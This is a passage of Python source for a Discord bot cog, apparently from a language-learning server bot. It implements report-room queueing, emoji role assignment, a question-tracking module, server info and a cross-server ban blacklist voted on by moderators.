discord.errors.Forbidden:\n await ctx.send(f\"I'm unable to complete your request, as the user does not have PMs \"\n f\"from server members enabled.\")\n ctx.bot.db['report'][str(ctx.guild.id)]['current_user'] = None\n hf.dump_json()\n return\n else:\n await user.send(report_text[3]) # please go to the report room\n\n msg = await report_room.send(initial_msg) # initial msg to mods\n await report_room.send(report_text[8])\n config['entry_message'] = msg.id\n await hf.dump_json()\n await asyncio.sleep(10)\n await report_room.send(report_text[5]) # full instructions text in report room\n\n @commands.Cog.listener()\n async def on_reaction_add(self, reaction, user: discord.Member):\n \"\"\"removes people from the waiting list for ;report if they react with '🚫' to a certain message\"\"\"\n if reaction.emoji == '🚫':\n if reaction.message.channel == user.dm_channel:\n config = self.bot.db['report']\n for guild_id in config:\n if user.id in config[guild_id]['waiting_list']:\n config[guild_id]['waiting_list'].remove(user.id)\n await user.send(\"Understood. You've been removed from the waiting list. Have a nice day.\")\n\n mod_channel = self.bot.get_channel(self.bot.db[\"mod_channel\"][guild_id])\n msg_to_mod_channel = f\"The user {user.name} was previously on the wait list for the \" \\\n f\"report room but just removed themselves.\"\n await mod_channel.send(msg_to_mod_channel)\n await hf.dump_json()\n return\n await user.send(\"You aren't on the waiting list.\")\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if payload.channel_id == BLACKLIST_CHANNEL_ID: # votes on blacklist\n if payload.emoji.name == '⬆':\n channel = self.bot.get_channel(payload.channel_id)\n message = await channel.fetch_message(payload.message_id)\n ctx = await self.bot.get_context(message)\n ctx.author = self.bot.get_user(payload.user_id)\n ctx.reacted_user_id = payload.user_id\n user_id = message.embeds[0].title.split(' ')[0]\n config = self.bot.db['global_blacklist']\n if str(payload.user_id) in config['residency']:\n voting_guild_id = config['residency'][str(payload.user_id)]\n if voting_guild_id not in config['votes2'][user_id]['votes']:\n if message.embeds[0].color != discord.Color(int('ff0000', 16)):\n await ctx.invoke(self.blacklist_add, args=user_id)\n else:\n await ctx.author.send(\"Please claim residency on a server first with `;global_blacklist residency`\")\n return\n\n if payload.emoji.name == '✅': # captcha\n if str(payload.guild_id) in self.bot.db['captcha']:\n config = self.bot.db['captcha'][str(payload.guild_id)]\n if config['enable']:\n guild = self.bot.get_guild(payload.guild_id)\n role = guild.get_role(config['role'])\n if payload.message_id == config['message']:\n try:\n await guild.get_member(payload.user_id).add_roles(role)\n return\n except discord.errors.Forbidden:\n await self.bot.get_user(202995638860906496).send(\n 'on_raw_reaction_add: Lacking `Manage Roles` permission'\n f' <#{payload.guild_id}>')\n\n if payload.guild_id == 266695661670367232: # chinese\n if payload.emoji.name in '🔥📝🖋🗣🎙':\n roles = {'🔥': 496659040177487872,\n '📝': 509446402016018454,\n '🗣': 266713757030285313,\n '🖋': 344126772138475540,\n '🎙': 454893059080060930}\n server = 0\n else:\n return\n elif payload.guild_id == 243838819743432704: # spanish/english\n if payload.emoji.name in '🎨🐱🐶🎮table👪🎥🎵❗👚💻📔✏🔥📆':\n roles = {'🎨': 401930364316024852,\n '🐱': 254791516659122176,\n '🐶': 349800774886359040,\n '🎮': 343617472743604235,\n '👪': 402148856629821460,\n '🎥': 354480160986103808,\n '🎵': 263643288731385856,\n '👚': 376200559063072769,\n '💻': 401930404908630038,\n '❗': 243859335892041728,\n '📔': 286000427512758272,\n '✏': 382752872095285248,\n '🔥': 526089127611990046,\n 'table': 396080550802096128,\n '📆': 555478189363822600}\n server = 1\n else:\n return\n else:\n return\n\n guild = self.bot.get_guild(payload.guild_id)\n user = guild.get_member(payload.user_id)\n if not user.bot:\n try:\n config = self.bot.db['roles'][str(payload.guild_id)]\n except KeyError:\n return\n if server == 0:\n if payload.message_id != config['message']:\n return\n elif server == 1:\n if payload.message_id != config['message1'] and payload.message_id != config['message2']:\n return\n role = guild.get_role(roles[payload.emoji.name])\n try:\n await user.add_roles(role)\n except discord.errors.Forbidden:\n self.bot.get_user(202995638860906496).send(\n 'on_raw_reaction_add: Lacking `Manage Roles` permission'\n f'<#{payload.guild_id}>')\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload):\n if not payload.guild_id:\n return\n if payload.guild_id == 266695661670367232: # chinese\n if payload.emoji.name in '🔥📝🖋🗣🎙':\n roles = {'🔥': 496659040177487872,\n '📝': 509446402016018454,\n '🗣': 266713757030285313,\n '🖋': 344126772138475540,\n '🎙': 454893059080060930}\n server = 0\n else:\n return\n elif payload.guild_id == 243838819743432704: # spanish/english\n if payload.emoji.name in '🎨🐱🐶🎮table👪🎥🎵❗👚💻📔✏🔥📆':\n roles = {'🎨': 401930364316024852,\n '🐱': 254791516659122176,\n '🐶': 349800774886359040,\n '🎮': 343617472743604235,\n '👪': 402148856629821460,\n '🎥': 354480160986103808,\n '🎵': 263643288731385856,\n '👚': 376200559063072769,\n '💻': 401930404908630038,\n '❗': 243859335892041728,\n '📔': 286000427512758272,\n '✏': 382752872095285248,\n '🔥': 526089127611990046,\n 'table': 396080550802096128,\n '📆': 555478189363822600}\n server = 1\n else:\n return\n else:\n return\n guild = self.bot.get_guild(payload.guild_id)\n user = guild.get_member(payload.user_id)\n if not user.bot:\n try:\n config = self.bot.db['roles'][str(payload.guild_id)]\n except KeyError:\n return\n if server == 0:\n if payload.message_id != config['message']:\n return\n elif server == 1:\n if payload.message_id != config['message1'] and payload.message_id != config['message2']:\n return\n role = guild.get_role(roles[payload.emoji.name])\n try:\n await user.remove_roles(role)\n except discord.errors.Forbidden:\n self.bot.get_user(202995638860906496).send(\n 'on_raw_reaction_remove: Lacking `Manage Roles` permission'\n f'<#{payload.guild_id}>')\n\n @commands.command()\n async def pencil(self, ctx):\n if ctx.author.nick:\n try:\n await ctx.author.edit(nick=ctx.author.nick + '📝')\n await ctx.send(\"I've added 📝 to your name. This means you wish to be corrected in your sentences\")\n except discord.errors.Forbidden:\n await ctx.send(\"I lack the permissions to change your nickname\")\n except discord.errors.HTTPException:\n await ctx.message.add_reaction('💢')\n else:\n try:\n await ctx.author.edit(nick=ctx.author.name + '📝')\n await ctx.send(\"I've added 📝 to your name. This means you wish to be corrected in your sentences\")\n except discord.errors.Forbidden:\n await ctx.send(\"I lack the permissions to change your nickname\")\n\n @commands.command()\n async def eraser(self, ctx):\n if ctx.author.nick:\n try:\n await ctx.author.edit(nick=ctx.author.nick[:-1])\n await ctx.message.add_reaction('◀')\n except discord.errors.Forbidden:\n await ctx.send(\"I lack the permissions to change your nickname\")\n else:\n await ctx.author.edit(nick=ctx.author.name[:-1])\n await ctx.message.add_reaction('◀')\n\n @commands.command(aliases=['ryry'])\n async def ryan(self, ctx):\n \"\"\"Posts a link to the help docs server for my bot\"\"\"\n await ctx.send(\"You can find some shitty docs for how to use my bot here: \"\n \"https://github.com/ryry013/Rai/blob/master/README.md \\n\"\n \"You can ask questions and find some further details here: https://discord.gg/7k5MMpr\")\n\n @commands.command(aliases=[';p', ';s', ';play', ';skip', '_;', '-;', ')', '__;', '___;', ';leave', ';join',\n ';l', ';q', ';queue', ';pause', ';volume', ';1', ';vol', ';np', ';list'], hidden=True)\n async def ignore_commands_list(self, ctx):\n pass\n\n @commands.command(aliases=['cl', 'checklanguage'])\n async def check_language(self, ctx, *, msg: str):\n \"\"\"Shows what's happening behind the scenes for hardcore mode. Will try to detect the language that your\n message was typed in, and display the results. Note that this is non-deterministic code, which means\n repeated results of the same exact message might give different results every time.\"\"\"\n stripped_msg = hf.rem_emoji_url(msg)\n try:\n lang_result = langdetect.detect_langs(stripped_msg)\n except langdetect.lang_detect_exception.LangDetectException:\n lang_result = \"There was an error detecting the languages\"\n str = f\"Your message:```{msg}```\" \\\n f\"The message I see (no custom emojis or urls): ```{stripped_msg}```\" \\\n f\"The language I detect: ```{lang_result}```\" \\\n f\"If the first language is above 0.97 of your native language, your message would be deleted\"\n\n await ctx.send(str)\n\n def get_color_from_name(self, ctx):\n config = self.bot.db['questions'][str(ctx.channel.guild.id)]\n channel_list = sorted([int(channel) for channel in config])\n index = channel_list.index(ctx.channel.id) % 6\n # colors = ['00ff00', 'ff9900', '4db8ff', 'ff0000', 'ff00ff', 'ffff00'] below line is in hex\n colors = [65280, 16750848, 5093631, 16711680, 16711935, 16776960]\n return colors[index]\n\n async def add_question(self, ctx, target_message, title=None):\n try:\n config = self.bot.db['questions'][str(ctx.guild.id)][str(ctx.channel.id)]\n except KeyError:\n await ctx.send(f\"This channel is not setup as a questions channel. Run `;question setup` in the \"\n f\"questions channel to start setup.\")\n return\n if not title:\n title = target_message.content[:900]\n # for channel in self.bot.db['questions'][str(ctx.guild.id)]:\n # for question in self.bot.db['questions'][str(ctx.guild.id)][channel]:\n # question = self.bot.db['questions'][str(ctx.guild.id)][channel][question]\n # if (datetime.today() - datetime.strptime(question['date'], \"%Y/%m/%d\")).days >= 3:\n # log_channel = self.bot.get_channel(self.bot.db['questions']['channel']['log_channel'])\n # await log_channel.send(f\"Closed question for being older than three days and unanswered\")\n\n question_number = 1\n while str(question_number) in config['questions']:\n question_number += 1\n if question_number > 9:\n await ctx.send(f\"Note, I've reached the maximum amount of open questions for reactions. Try \"\n f\"running `;q list` and clearing out some old questions.\")\n config['questions'][str(question_number)] = {}\n config['questions'][str(question_number)]['title'] = title\n config['questions'][str(question_number)]['question_message'] = target_message.id\n config['questions'][str(question_number)]['author'] = target_message.author.id\n config['questions'][str(question_number)]['command_caller'] = ctx.author.id\n config['questions'][str(question_number)]['date'] = date.today().strftime(\"%Y/%m/%d\")\n\n log_channel = self.bot.get_channel(config['log_channel'])\n color = self.get_color_from_name(ctx) # returns a RGB tuple unique to every username\n splice_len = 1024 - len(target_message.jump_url)\n emb = discord.Embed(title=f\"Question number: `{question_number}`\",\n description=f\"Asked by {target_message.author.mention} ({target_message.author.name}) \"\n f\"in {target_message.channel.mention}\",\n color=discord.Color(color),\n timestamp=datetime.utcnow())\n if len(title) > splice_len:\n emb.add_field(name=f\"Question:\", value=f\"{title[:splice_len]}...\\n{target_message.jump_url}\")\n else:\n emb.add_field(name=f\"Question:\", value=f\"{title}\\n{target_message.jump_url}\")\n if ctx.author != target_message.author:\n emb.set_footer(text=f\"Question added by {ctx.author.name}\")\n try:\n log_message = await log_channel.send(embed=emb)\n except discord.errors.HTTPException:\n await ctx.send(\"The question was too long\")\n del (config['questions'][str(question_number)])\n return\n config['questions'][str(question_number)]['log_message'] = log_message.id\n number_map = {'1': '1\\u20e3', '2': '2\\u20e3', '3': '3\\u20e3', '4': '4\\u20e3', '5': '5\\u20e3',\n '6': '6\\u20e3', '7': '7\\u20e3', '8': '8\\u20e3', '9': '9\\u20e3'}\n if question_number < 10:\n try:\n await target_message.add_reaction(number_map[str(question_number)])\n except discord.errors.Forbidden:\n await ctx.send(f\"I lack the ability to add reactions, please give me this permission\")\n await hf.dump_json()\n\n @commands.group(invoke_without_command=True, aliases=['q'])\n async def question(self, ctx, *, args):\n \"\"\"A module for asking questions, put the title of your quesiton like `;question `\"\"\"\n args = args.split(' ')\n if not args:\n msg = f\"This is a module to help you ask your questions. To ask a question, decide a title for your \" \\\n f\"question and type `;question <title>`. For example, if your question is about the meaning \" \\\n f\"of a word in a sentence, you could format the command like `;question Meaning of <word> \" \\\n f\"in <sentence>`. Put that command in the questions channel and you're good to go! \" \\\n f\"(Alias: `;q <title>`)\"\n await ctx.send(msg)\n return\n\n try: # there is definitely some text in the arguments\n target_message = await ctx.channel.fetch_message(int(args[0])) # this will work if the first arg is an ID\n if len(args) == 1:\n title = target_message.content # if there was no text after the ID\n else:\n title = ' '.join(args[1:]) # if there was some text after the ID\n except (discord.errors.NotFound, ValueError): # no ID cited in the args\n target_message = ctx.message # use the current message as the question link\n title = ' '.join(args) # turn all of args into the title\n\n await self.add_question(ctx, target_message, title)\n\n @question.command(name='setup')\n @hf.is_admin()\n async def question_setup(self, ctx):\n \"\"\"Use this command in your questions channel\"\"\"\n config = self.bot.db['questions'].setdefault(str(ctx.guild.id), {})\n if str(ctx.channel.id) in config:\n msg = await ctx.send(\"This will reset the questions database for this channel. \"\n \"Do you wish to continue? Type `y` to continue.\")\n try:\n await self.bot.wait_for('message', timeout=15.0, check=lambda m: m.content == 'y' and\n m.author == ctx.author)\n except asyncio.TimeoutError:\n await msg.edit(content=\"Canceled...\", delete_after=10.0)\n return\n msg_1 = await ctx.send(f\"Questions channel set as {ctx.channel.mention}. In the way I just linked this \"\n f\"channel, please give me a link to the log channel you wish to use for this channel.\")\n try:\n msg_2 = await self.bot.wait_for('message', timeout=20.0, check=lambda m: m.author == ctx.author)\n except asyncio.TimeoutError:\n await msg_1.edit(content=\"Canceled...\", delete_after=10.0)\n return\n\n try:\n log_channel_id = int(msg_2.content.split('<#')[1][:-1])\n log_channel = self.bot.get_channel(log_channel_id)\n if not log_channel:\n raise NameError\n except (IndexError, NameError):\n await ctx.send(f\"Invalid channel specified. Please start over and specify a link to a channel \"\n f\"(should highlight blue)\")\n return\n config[str(ctx.channel.id)] = {'questions': {},\n 'log_channel': log_channel_id}\n await ctx.send(f\"Set the log channel as {log_channel.mention}. Setup complete. Try starting your first \"\n f\"question with `;question <title>` in this channel.\")\n await hf.dump_json()\n\n @question.command(aliases=['a'])\n async def answer(self, ctx, *, args=''):\n \"\"\"Marks a question as answered, format: `;q a <question_id 0-9> [answer_id]`\n and has an optional answer_id field for if you wish to specify an answer message\"\"\"\n try:\n config = self.bot.db['questions'][str(ctx.guild.id)][str(ctx.channel.id)]\n except KeyError:\n await ctx.send(f\"This channel is not setup as a questions channel. Please make sure you mark your \"\n f\"question as 'answered' in the channel you asked it in.\")\n return\n questions = config['questions']\n args = args.split(' ')\n\n async def self_answer_shortcut():\n for question_number in questions:\n if ctx.author.id == questions[question_number]['author']:\n return int(question_number)\n await ctx.send(f\"Only the asker of the question can omit stating the question ID. You \"\n f\"must specify which question you're trying to answer: `;q a <question id>`. \"\n f\"For example, `;q a 3`.\")\n return\n\n answer_message = answer_text = answer_id = None\n if args == ['']: # if a user just inputs ;q a\n number = await self_answer_shortcut()\n answer_message = ctx.message\n answer_text = ''\n if not number:\n await ctx.send(f\"Please enter the number of the question you wish to answer, like `;q a 3`.\")\n return\n\n elif len(args) == 1: # 1) ;q a <question ID> 2) ;q a <word> 3) ;q a <message ID>\n try: # arg is a number\n single_arg = int(args[0])\n except ValueError: # arg is a single text word\n number = await self_answer_shortcut()\n answer_message = ctx.message\n answer_text = args[0]\n else:\n if len(str(single_arg)) <= 2: # ;q a <question ID>\n number = args[0]\n answer_message = ctx.message\n answer_text = ctx.message.content\n elif 17 <= len(str(single_arg)) <= 21: # ;q a <message ID>\n try:\n answer_message = await ctx.channel.fetch_message(single_arg)\n except discord.errors.NotFound:\n await ctx.send(f\"I thought `{single_arg}` was a message ID but I couldn't find that \"\n f\"message in this channel.\")\n return\n answer_text = answer_message.content[:900]\n number = await self_answer_shortcut()\n else: # ;q a <single word>\n number = await self_answer_shortcut()\n answer_message = ctx.message\n answer_text = str(single_arg)\n\n else: # args is more than one word\n number = args[0]\n try: # example: ;q a 1 554490627279159341\n if 17 < len(args[1]) < 21:\n answer_message = await ctx.channel.fetch_message(int(args[1]))\n answer_text = answer_message.content[:900]\n else:\n raise TypeError\n except (ValueError, TypeError): # Supplies text answer: ;q a 1 blah blah answer goes here\n answer_message = ctx.message\n answer_text = ' '.join(args[1:])\n except discord.errors.NotFound:\n await ctx.send(f\"A corresponding message to the specified ID was not found. `;q a <question_id> \"\n f\"<message id>`\")\n return\n\n try:\n number = str(number)\n question = questions[number]\n except KeyError:\n await ctx.send(f\"Invalid question number. Check the log channel again and input a single number like \"\n f\"`;question answer 3`. Also, make sure you're answering in the right channel.\")\n return\n except Exception:\n await ctx.send(f\"You've done *something* wrong... (´・ω・`)\")\n raise\n\n try:\n log_channel = self.bot.get_channel(config['log_channel'])\n log_message = await log_channel.fetch_message(question['log_message'])\n except discord.errors.NotFound:\n log_message = None\n await ctx.send(f\"Message in log channel not found. Continuing code.\")\n\n try:\n question_message = await ctx.channel.fetch_message(question['question_message'])\n if ctx.author.id not in [question_message.author.id, question['command_caller']] \\\n and not hf.admin_check(ctx):\n await ctx.send(f\"Only mods or the person who asked/started the question \"\n f\"originally can mark it as answered.\")\n return\n except discord.errors.NotFound:\n if log_message:\n await log_message.delete()\n del questions[number]\n msg = await ctx.send(f\"Original question message not found. Closing question\")\n await asyncio.sleep(5)\n await msg.delete()\n await ctx.message.delete()\n await hf.dump_json()\n return\n\n if log_message:\n emb = log_message.embeds[0]\n if answer_message.author != question_message.author:\n emb.description += f\"\\nAnswered by {answer_message.author.mention} ({answer_message.author.name})\"\n emb.title = \"ANSWERED\"\n emb.color = discord.Color.default()\n if not answer_text:\n answer_text = ''\n emb.add_field(name=f\"Answer: \",\n value=answer_text + '\\n' + answer_message.jump_url)\n await log_message.edit(embed=emb)\n\n try:\n question_message = await ctx.channel.fetch_message(question['question_message'])\n for reaction in question_message.reactions:\n if reaction.me:\n try:\n await question_message.remove_reaction(reaction.emoji, self.bot.user)\n except discord.errors.Forbidden:\n await ctx.send(f\"I lack the ability to add reactions, please give me this permission\")\n except discord.errors.NotFound:\n msg = await ctx.send(\"That question was deleted\")\n await log_message.delete()\n await asyncio.sleep(5)\n await msg.delete()\n await ctx.message.delete()\n\n del (config['questions'][number])\n await hf.dump_json()\n if ctx.message:\n try:\n await ctx.message.add_reaction('\\u2705')\n except discord.errors.Forbidden:\n await ctx.send(f\"I lack the ability to add reactions, please give me this permission\")\n\n @question.command(aliases=['reopen', 'bump'])\n @hf.is_admin()\n async def open(self, ctx, message_id):\n \"\"\"Reopens a closed question, point message_id to the log message in the log channel\"\"\"\n config = self.bot.db['questions'][str(ctx.guild.id)][str(ctx.channel.id)]\n for question in config['questions']:\n if int(message_id) == config['questions'][question]['log_message']:\n question = config['questions'][question]\n break\n log_channel = self.bot.get_channel(config['log_channel'])\n try:\n log_message = await log_channel.fetch_message(int(message_id))\n except discord.errors.NotFound:\n await ctx.send(f\"Specified log message not found\")\n return\n emb = log_message.embeds[0]\n if emb.title == 'ANSWERED':\n emb.description = emb.description.split('\\n')[0]\n try:\n question_message = await ctx.channel.fetch_message(int(emb.fields[0].value.split('/')[-1]))\n except discord.errors.NotFound:\n await ctx.send(f\"The message for the original question was not found\")\n return\n await self.add_question(ctx, question_message, question_message.content)\n else:\n new_log_message = await log_channel.send(embed=emb)\n question['log_message'] = new_log_message.id\n await log_message.delete()\n await hf.dump_json()\n\n @question.command()\n async def list(self, ctx):\n \"\"\"Shows a list of currently open questions\"\"\"\n try:\n config = self.bot.db['questions'][str(ctx.guild.id)]\n except KeyError:\n await ctx.send(f\"There are no questions channels on this server. Run `;question setup` in the \"\n f\"questions channel to start setup.\")\n return\n emb = discord.Embed(title=f\"List of open questions:\")\n for channel in config:\n channel_config = config[str(channel)]['questions']\n for question in channel_config:\n try:\n question_channel = self.bot.get_channel(int(channel))\n question_message = await question_channel.fetch_message(\n channel_config[question]['question_message'])\n question_text = ' '.join(question_message.content.split(' '))\n text_splice = 1020 - len(question_message.jump_url) - \\\n len(f\"By {question_message.author.mention} in {question_message.channel.mention}\\n\\n\")\n value_text = f\"By {question_message.author.mention} in {question_message.channel.mention}\\n\" \\\n f\"{question_text[:text_splice]}\\n\" \\\n f\"{question_message.jump_url}\"\n emb.add_field(name=f\"Question `{question}`\",\n value=value_text)\n except discord.errors.NotFound:\n emb.add_field(name=f\"Question `{question}`\",\n value=\"original message not found\")\n await ctx.send(embed=emb)\n\n @question.command(aliases=['edit'])\n @hf.is_admin()\n async def change(self, ctx, log_id, target, *text):\n \"\"\"Edit either the asker, answerer, question, title, or answer of a question log in the log channel\"\"\"\n config = self.bot.db['questions'][str(ctx.guild.id)][str(ctx.channel.id)]\n log_channel = self.bot.get_channel(config['log_channel'])\n target_message = await log_channel.fetch_message(int(log_id))\n if target not in ['asker', 'answerer', 'question', 'title', 'answer']:\n await ctx.send(f\"Invalid field specified in the log message. Please choose a target to edit out of \"\n f\"`asker`, `answerer`, `question`, `title`, `answer`\")\n return\n emb = target_message.embeds[0]\n\n if target == 'question':\n try:\n question_id = int(text[0]) # ;q edit 555932038612385798 question 555943517994614784\n question_message = await ctx.channel.fetch_message(question_id)\n emb.set_field_at(0, name=emb.fields[0].name, value=f\"{question_message.content[:900]}\\n\"\n f\"{question_message.jump_url})\")\n except ValueError:\n question_message = ctx.message # ;q edit 555932038612385798 question <New question text>\n question_text = ' '.join(question_message.content.split(' ')[3:])\n emb.set_field_at(0, name=emb.fields[0].name, value=f\"{question_text}\\n{question_message.jump_url}\")\n if target == 'title':\n title = ' '.join(text)\n jump_url = emb.fields[0].split('\\n')[-1]\n emb.set_field_at(0, name=emb.fields[0].name, value=f\"{title}\\n{jump_url}\")\n if target == 'asker':\n try:\n asker = ctx.guild.get_member(int(text[0]))\n except ValueError:\n await ctx.send(f\"To edit the asker, give the user ID of the user. For example: \"\n f\"`;q edit <log_message_id> asker <user_id>`\")\n return\n new_description = emb.description.split(' ')\n new_description[2] = f\"{asker.mention} ({asker.name})\"\n del new_description[3]\n emb.description = ' '.join(new_description)\n\n if emb.title == 'ANSWERED':\n if target == 'answerer':\n answerer = ctx.guild.get_member(int(text[0]))\n new_description = emb.description.split('Answered by ')[1] = answerer.mention\n emb.description = 'Answered by '.join(new_description)\n elif target == 'answer':\n try: # ;q edit <log_message_id> answer <answer_id>\n answer_message = await ctx.channel.fetch_message(int(text[0]))\n emb.set_field_at(1, name=emb.fields[1].name, value=answer_message.jump_url)\n except ValueError:\n answer_message = ctx.message # ;q edit <log_message_id> answer <new text>\n answer_text = 'answer '.join(ctx.message.split('answer ')[1:])\n emb.set_field_at(1, name=emb.fields[1].name, value=f\"{answer_text[:900]}\\n\"\n f\"{answer_message.jump_url}\")\n\n if emb.footer.text:\n emb.set_footer(text=emb.footer.text + f\", Edited by {ctx.author.name}\")\n else:\n emb.set_footer(text=f\"Edited by {ctx.author.name}\")\n await target_message.edit(embed=emb)\n try:\n await ctx.message.add_reaction('\\u2705')\n except discord.errors.Forbidden:\n await ctx.send(f\"I lack the ability to add reactions, please give me this permission\")\n\n @commands.command()\n async def jisho(self, ctx, *, text):\n \"\"\"Provides a link to a Jisho search\"\"\"\n await ctx.message.delete()\n await ctx.send(f\"Try finding the meaning to the word you're looking for here: https://jisho.org/search/{text}\")\n\n @commands.command(aliases=['server', 'info', 'sinfo'])\n @commands.cooldown(1, 30, type=commands.BucketType.channel)\n async def serverinfo(self, ctx):\n \"\"\"Shows info about this server\"\"\"\n guild = ctx.guild\n if not guild:\n await ctx.send(f\"{ctx.channel}. Is that what you were looking for? (Why are you trying to call info \"\n f\"on 'this server' in a DM?)\")\n return\n em = discord.Embed(title=f\"**{guild.name}**\",\n description=f\"**ID:** {guild.id}\",\n timestamp=guild.created_at,\n colour=discord.Colour(0x877AD6))\n em.set_thumbnail(url=guild.icon_url)\n em.add_field(name=\"Region\", value=guild.region)\n em.add_field(name=\"Channels\", value=f\"{len(guild.text_channels)} text / {len(guild.voice_channels)} voice\")\n em.add_field(name=\"Verification Level\", value=guild.verification_level)\n em.add_field(name=\"Guild created on (UTC)\", value=guild.created_at.strftime(\"%Y/%m/%d %H:%M:%S\"))\n\n if guild.afk_channel:\n em.add_field(name=\"Voice AFK Timeout\",\n value=f\"{guild.afk_timeout//60} mins → {guild.afk_channel.mention}\")\n\n if guild.explicit_content_filter != \"disabled\":\n em.add_field(name=\"Explicit Content Filter\", value=guild.explicit_content_filter)\n\n if guild.id not in [189571157446492161, 243838819743432704]:\n em.add_field(name=\"Server owner\", value=f\"{guild.owner.name}#{guild.owner.discriminator}\")\n\n list_of_members = guild.members\n if len(list_of_members) < 20000:\n role_count = {}\n for member in list_of_members:\n for role in member.roles:\n if role.name in role_count:\n role_count[role.name] += 1\n else:\n role_count[role.name] = 1\n sorted_list = sorted(list(role_count.items()), key=lambda x: x[1], reverse=True)\n top_five_roles = ''\n counter = 0\n for role in sorted_list[1:7]:\n counter += 1\n top_five_roles += f\"{role[0]}: {role[1]}\\n\"\n # if counter == 3:\n # top_five_roles += '\\n'\n top_five_roles = top_five_roles[:-1]\n em.add_field(name=f\"Top 6 roles (out of {len(guild.roles)})\", value=top_five_roles)\n else:\n em.add_field(name=\"Roles\", value=str(len(guild.roles)))\n\n how_long_ago = datetime.utcnow() - guild.created_at\n days = how_long_ago.days\n years = days // 365\n bef_str = ''\n if years:\n bef_str = f\"{years} years, \"\n months = (days - 365 * years) // 30.416666666666668\n if months:\n bef_str += f\"{int(months)} months, \"\n days = days - 365 * years - round(30.416666666666668 * months)\n bef_str += f\"{days} days\"\n em.set_footer(text=f\"Guild created {bef_str} ago on:\")\n if len(em.fields) % 2 == 0:\n two = em.fields[-2]\n em.add_field(name=two.name, value=two.value)\n em.remove_field(-3)\n await ctx.send(embed=em)\n\n @commands.group(invoke_without_command=True, aliases=['gb', 'gbl', 'blacklist'], hidden=True)\n @blacklist_check()\n async def global_blacklist(self, ctx):\n \"\"\"A global blacklist for banning spammers, requires three votes from mods from three different servers\"\"\"\n config = hf.database_toggle(ctx, self.bot.db['global_blacklist'])\n if config['enable']:\n if not ctx.me.guild_permissions.ban_members:\n await ctx.send('I lack the permission to ban members. Please fix that before enabling this module')\n hf.database_toggle(ctx, self.bot.db['global_blacklist'])\n return\n await ctx.send(\"Enabled the global blacklist on this server. Anyone voted into the blacklist by three \"\n \"mods and joining your server will be automatically banned. \"\n \"Type `;global_blacklist residency` to claim your residency on a server.\")\n else:\n await ctx.send(\"Disabled the global blacklist. Anyone on the blacklist will be able to join your server.\")\n await hf.dump_json()\n\n @global_blacklist.command(name='reason', aliases=['edit'])\n @blacklist_check()\n async def blacklist_reason(self, ctx, entry_message_id, *, reason):\n \"\"\"Add a reason to a blacklist entry: `;gbl reason <message_id> <reason>`\"\"\"\n blacklist_channel = self.bot.get_channel(BLACKLIST_CHANNEL_ID)\n entry_message = await blacklist_channel.fetch_message(int(entry_message_id))\n emb = entry_message.embeds[0]\n old_reason = emb.fields[1].value\n emb.set_field_at(1, name=emb.fields[1].name, value=reason)\n await entry_message.edit(embed=emb)\n await ctx.send(f\"Changed reason of {entry_message.jump_url}\\nOld reason: ```{old_reason}```\")\n\n @global_blacklist.command(name='remove', alias=['delete'])\n @hf.is_admin()\n async def blacklist_remove(self, ctx, entry_message_id):\n \"\"\"Removes an entry from the blacklist channel\"\"\"\n blacklist_channel = self.bot.get_channel(BLACKLIST_CHANNEL_ID)\n entry_message = await blacklist_channel.fetch_message(int(entry_message_id))\n emb = entry_message.embeds[0]\n target_id = emb.title.split(' ')[0]\n await entry_message.delete()\n\n try:\n self.bot.db['global_blacklist']['blacklist'].remove(str(target_id))\n except ValueError:\n pass\n\n try:\n del self.bot.db['global_blacklist']['votes2'][str(target_id)]\n except ValueError:\n pass\n\n await ctx.message.add_reaction('✅')\n\n @global_blacklist.command()\n @blacklist_check()\n async def residency(self, ctx):\n \"\"\"Claims your residency on a server\"\"\"\n config = self.bot.db['global_blacklist']['residency']\n\n if str(ctx.author.id) in config:\n server = self.bot.get_guild(config[str(ctx.author.id)])\n await ctx.send(f\"You've already claimed residency on {server.name}. You can not change this without \"\n f\"talking to Ryan.\")\n return\n\n await ctx.send(\"For the purpose of maintaining fairness in a ban, you're about to claim your mod residency to \"\n f\"`{ctx.guild.name}`. This can not be changed without talking to Ryan. \"\n f\"Do you wish to continue?\\n\\nType `yes` or `no` (case insensitive).\")\n msg = await self.bot.wait_for('message',\n timeout=25.0,\n check=lambda m: m.author == ctx.author and m.channel == ctx.channel)\n\n if msg.content.casefold() == 'yes': # register\n config[str(ctx.author.id)] = ctx.guild.id\n await ctx.send(f\"Registered your residency to `{ctx.guild.name}`. Type `;global_blacklist add <ID>` to \"\n f\"vote on a user for the blacklist\")\n\n elif msg.content.casefold() == 'no': # cancel\n await ctx.send(\"Understood. Exiting module.\")\n\n else: # invalid response\n await ctx.send(\"Invalid response\")\n await hf.dump_json()\n\n #@global_blacklist.command(aliases=['vote'], name=\"add\")\n #@commands.bot_has_permissions(add_reactions=True)\n #@blacklist_check()\n @commands.command()\n async def blacklist_add(self, ctx, *, args):\n \"\"\"Add people to the blacklist\"\"\"\n args = args.replace('\\n', ' ').split(' ')\n list_of_ids = []\n reason = \"None\"\n for arg_index in range(len(args)):\n if re.search('\\d{17,22}', args[arg_index]):\n list_of_ids.append(str(args[arg_index]))\n else:\n reason = ' '.join(args[arg_index:])\n break\n channel = self.bot.get_channel(BLACKLIST_CHANNEL_ID)\n config = self.bot.db['global_blacklist']\n if not list_of_ids:\n await ctx.author.send(f\"No valid ID found in command\")\n return\n for user in list_of_ids:\n async def post_vote_notification(target_user, reason):\n await ctx.message.add_reaction('✅')\n if not target_user:\n target_user = ''\n emb = discord.Embed(title=f\"{user} {target_user} (1 vote)\", color=discord.Color(int('ffff00', 16)))\n emb.add_field(name='Voters', value=ctx.author.name)\n emb.add_field(name='Reason', value=reason)\n msg = await channel.send(embed=emb)\n await msg.add_reaction('⬆')\n return msg\n\n try: # the guild ID that the person trying to add a vote belongs to\n user_residency = config['residency'][str(ctx.author.id)] # a guild id\n except KeyError:\n await ctx.author.send(\"Please claim residency on a server first with `;global_blacklist residency`\")\n return\n\n if user in config['blacklist']: # already blacklisted\n await ctx.send(f\"{user} is already on the blacklist\")\n continue\n\n if user not in config['votes2']: # 0 votes\n config['votes2'][user] = {'votes': [user_residency], 'message': 0}\n msg = await post_vote_notification(self.bot.get_user(int(user)), reason)\n config['votes2'][user]['message'] = msg.id\n continue\n\n if user in config['votes2']: # 1 or 2 votes\n list_of_votes = config['votes2'][user]['votes']\n if user_residency in list_of_votes:\n await ctx.author.send(f\"{user} - Someone from your server already voted\")\n continue\n\n message = await 